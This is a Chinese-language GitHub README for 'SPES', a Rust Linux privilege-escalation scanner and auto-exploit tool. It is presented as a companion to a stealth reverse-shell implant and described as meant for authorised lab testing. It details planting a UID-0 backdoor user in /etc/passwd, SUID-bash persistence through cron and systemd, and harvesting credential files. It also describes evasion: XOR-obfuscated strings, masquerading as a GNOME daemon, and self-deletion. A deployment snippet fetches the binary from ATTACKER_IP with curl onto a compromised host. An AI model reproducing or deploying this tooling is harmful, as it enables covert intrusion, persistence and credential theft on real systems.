Un-9oon/stealth-privesc
GitHub: Un-9oon/stealth-privesc
一款采用多重隐蔽技术的 Rust 编写 Linux 提权扫描与自动利用工具,专为授权渗透测试和安全研究设计。
Stars: 0 | Forks: 0
# 隐蔽提权扫描器 (SPES)
一款完全规避检测的 Linux 提权侦察与利用工具,使用 Rust 编写,专为受控实验室环境中的**授权安全研究与渗透测试**而设计。
## 概述
SPES 是 [隐蔽反弹 Shell](https://github.com/Un-9oon/stealth-reverse-shell) 植入物的配套工具。它通过编译时字符串混淆、进程伪装和反取证技术维持操作安全性,同时对 Linux 目标执行提权枚举和自动化利用。
## 功能特性
### 侦察 (12 个向量)
| # | 向量 | 描述 |
|---|--------|-------------|
| 1 | **内核版本** | 检测易受攻击的内核 —— CVE-2022-0847 (DirtyPipe)、CVE-2024-1086 (nf_tables)、CVE-2023-2640 (OverlayFS) |
| 2 | **SUID 二进制文件** | 扫描 8 个目录,交叉比对 120+ 个 GTFOBins |
| 3 | **SGID 二进制文件** | 识别 set-group-ID 二进制文件 |
| 4 | **Capabilities** | 通过 `getxattr()` 读取 `security.capability` xattrs —— 标记 `cap_setuid`、`cap_sys_admin`、`cap_sys_ptrace`、`cap_dac_override` |
| 5 | **可写敏感文件** | 检查 `/etc/passwd`、`/etc/shadow`、`/etc/sudoers`、`/etc/crontab`、`/etc/profile`、`/etc/ld.so.conf` 等 |
| 6 | **可写 Cron** | 扫描 `cron.d`、`cron.daily`、`cron.hourly`、`cron.weekly`、`cron.monthly`、spool |
| 7 | **可写 Systemd** | 检查 `/etc/systemd/system`、`/usr/lib/systemd/system`、`/lib/systemd/system` |
| 8 | **容器用户组** | 检测是否属于 `docker`、`lxd`、`lxc`、`podman` 组 |
| 9 | **Sudo 权限** | Fork+exec `sudo -n -l` 以枚举免密 sudo 规则 |
| 10 | **PATH 劫持** | 识别 `$PATH` 中的可写目录 |
| 11 | **凭据文件** | 检查可读的 SSH 密钥、`.bash_history`、`.pgpass`、`.netrc`,以及 AWS/GCloud/Kube/Docker/Git 凭据 |
| 12 | **Root 进程** | 枚举以 UID 0 运行的进程 |
### 自动化利用 (7 个向量)
| # | 向量 | 技术 |
|---|--------|-----------|
| 1 | **可写 /etc/passwd** | 追加 UID 为 0 的后门用户 `svc` |
| 2 | **可写 Cron** | 通过 cron 任务植入 SUID bash payload |
| 3 | **可写 Systemd** | 创建复制 SUID bash 的 oneshot 服务 |
| 4 | **Docker 用户组** | 标记可通过卷挂载实现的容器逃逸 |
| 5 | **SUID GTFOBins** | 为 python、bash、find、vim、perl、ruby、tar、strace、gdb、docker、pkexec 自动生成利用命令 |
| 6 | **PATH 劫持** | 识别可劫持的 root cron 命令 |
| 7 | **LD_PRELOAD** | 检测 sudoers 中的 `env_keep += LD_PRELOAD` |
### 隐蔽性 (6 层)
| 层级 | 技术 |
|-------|-----------|
| **字符串混淆** | 编译时 XOR 编码 (key=0xAB) —— 40+ 个敏感字符串在编译时编码,二进制文件中没有明文路径/命令 |
| **进程伪装** | 使用 `PR_SET_NAME` 设置为 `gvfs-udisks2-` (模拟 GNOME VFS daemon) |
| **防核心转储** | `RLIMIT_CORE=0`、`PR_SET_DUMPABLE=0` —— 防止内存转储 |
| **自删除** | 二进制文件在执行后通过 `/proc/self/exe` 从磁盘自行删除 |
| **极简二进制** | `opt-level="z"`、LTO、stripped、`panic="abort"` —— 最终大小为 343KB |
| **正常熵值** | 6.31 bits/byte —— 不会触发加壳检测 |
## 用法
```
# 扫描模式 — 枚举所有 privilege escalation vectors
./spes s
# Sudo 检查 — 枚举 passwordless sudo 规则
./spes u
# Auto-exploit — 尝试自动 privilege escalation
./spes e
# 完整扫描 — recon + sudo 检查组合
./spes a
```
### 输出格式
为了保持隐蔽性,输出使用最简化的编码前缀:
| 前缀 | 含义 |
|--------|---------|
| `+` | 可利用 / 危险的发现 |
| `-` | 存在但无法直接利用 |
| `+W` | 可写的敏感文件/目录 |
| `+R` | 可读的凭据文件 |
| `+su` | SUID 利用命令就绪 |
| `+pw` | 已植入 /etc/passwd 后门 |
| `+cr` | 已植入 Cron 持久化 |
| `+sd` | 已植入 Systemd 持久化 |
| `+dk` | 可进行 Docker 组逃逸 |
| `+ph` | 存在 PATH 劫持机会 |
| `+ld` | 可能进行 LD_PRELOAD 注入 |
## 构建
```
# 安装 Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
# 构建 release (optimized + stripped)
cargo build --release
# Binary 位置
ls -la target/release/privesc_tool
# 验证隐蔽性 — 应返回 0 个 sensitive matches
strings target/release/privesc_tool | grep -iEc 'sudo|passwd|shadow|cron|suid|escalat|backdoor'
```
## 部署
SPES 被设计为一款**即投即用**型工具:
```
# 从攻击者 (通过 reverse shell 获得初始访问权限后)
# 上传到目标
curl http://ATTACKER_IP:8080/spes -o /tmp/.s && chmod +x /tmp/.s
# 运行扫描 (binary 在执行后自删除)
/tmp/.s s
# 或 auto-exploit
/tmp/.s e
```
当与 [隐蔽反弹 Shell](https://github.com/Un-9oon/stealth-reverse-shell) 配合使用时,植入物可通过其内置的命令通道下载并执行 SPES。
## 检测分析
```
$ strings target/release/privesc_tool | grep -ic 'privesc\|privilege\|escalat\|exploit\|backdoor\|payload'
0
$ strings target/release/privesc_tool | grep -ic '/etc/passwd\|/etc/shadow\|sudoers\|crontab'
0
$ strings target/release/privesc_tool | grep -ic 'gtfobin\|suid\|setuid\|capability'
0
```
**二进制熵值:** 6.31 bits/byte (处于正常范围 —— 不会触发加壳/加密标记)
## MITRE ATT&CK 映射
| 技术 | ID | 描述 |
|-----------|-----|-------------|
| 发现: 系统信息 | T1082 | 内核版本枚举 |
| 发现: 文件和目录 | T1083 | SUID/SGID/capability/可写文件扫描 |
| 发现: 权限组 | T1069 | 容器组成员身份检测 |
| 发现: 系统所有者/用户 | T1033 | UID/EUID 枚举 |
| 提权: SUID/SGID | T1548.001 | 通过 GTFOBins 利用 SUID 二进制文件 |
| 提权: Sudo | T1548.003 | Sudo 配置错误滥用 |
| 持久化: Cron | T1053.003 | Cron 任务持久化 |
| 持久化: Systemd | T1543.002 | Systemd 服务持久化 |
| 提权: 容器 | T1611 | Docker/LXD 组逃逸 |
| 提权: 路径劫持 | T1574.007 | 对 root cron 任务的 PATH 拦截 |
| 提权: LD_PRELOAD | T1574.006 | 通过 sudo 进行共享库注入 |
| 防御规避: 混淆 | T1027 | XOR 字符串编码 |
| 防御规避: 伪装 | T1036.004 | 进程名欺骗 |
| 防御规避: 指标移除 | T1070.004 | 从磁盘自删除 |
## 架构
```
┌─────────────────────────────────────┐
│ SPES Binary (343KB) │
│ Process: gvfs-udisks2- │
├─────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────────────┐ │
│ │ XOR │ │ Anti-Forensics │ │
│ │ Decode │ │ - No core dumps │ │
│ │ Engine │ │ - Self-delete │ │
│ │ (0xAB) │ │ - Masquerade │ │
│ └────┬─────┘ └──────────────────┘ │
│ │ │
│ ┌────▼─────────────────────────┐ │
│ │ Mode Router │ │
│ │ s → Recon (12 vectors) │ │
│ │ e → Auto-exploit (7 vecs) │ │
│ │ u → Sudo enumeration │ │
│ │ a → Full scan (recon+sudo) │ │
│ └──────────────────────────────┘ │
│ │
│ ┌──────────────────────────────┐ │
│ │ GTFOBins Database │ │
│ │ 120+ binaries in 10 XOR │ │
│ │ encoded chunks │ │
│ └──────────────────────────────┘ │
│ │
└─────────────────────────────────────┘
│ stdout (coded output)
▼
Attacker Console
```
## 实验室环境
构建并测试于:
- **攻击者:** Kali Linux (宿主机)
- **受害者:** Ubuntu 虚拟机 (VirtualBox)
- **网络:** NAT + 仅主机适配器
- **配套工具:** [隐蔽反弹 Shell](https://github.com/Un-9oon/stealth-reverse-shell)
## 许可声明
仅用于教育和授权的安全研究目的。
标签:DNS 解析, Rust, Web报告查看器, 协议分析, 可视化界面, 权限提升, 私有化部署, 网络流量审计, 通知系统, 防御规避